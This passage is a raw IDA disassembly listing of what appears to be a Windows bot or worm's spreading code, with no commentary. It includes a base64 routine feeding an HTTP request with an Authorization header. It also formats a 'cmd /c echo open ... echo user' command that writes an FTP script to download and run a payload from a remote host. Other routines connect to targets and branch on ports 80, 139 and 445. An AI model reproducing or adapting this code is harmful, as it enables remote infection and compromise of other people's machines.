		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E

loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]

loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1

loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx

loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax

loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_437664[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B

loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi

loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]

loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0

loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx

loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4429D8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------

loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax

loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]

loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4D0874
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------

loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1

loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx

loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_437810
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4D0560
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4376A8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi

loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4D0824
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4D0864
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------

loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------

loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04

loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch

loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al

loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4D08BC
		test	esi, esi
		jnz	short loc_40D473

loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		nop
		call	near ptr 2680000h

loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A

loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_436D10[eax]
		lea	eax, dword_436D10[eax]

loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi

loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8

loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A

loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A

loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573

loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]

loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8

loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8

loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8

loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A

loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3

loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------

loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------

loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC

loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------

loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC

loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B

loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1

loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------

loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx

loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573

loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax

loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]

loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax

loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax

loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------

loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi

loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx

loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF

loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4E0E44, 1
		jnz	short loc_40D888
		or	byte_4E0E44, 1

loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_437AC0
		add	eax, 6
		mov	dword_4D3544, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------

loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx

loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al

loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0BCh	; ¼
		db  2Dh	; -
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
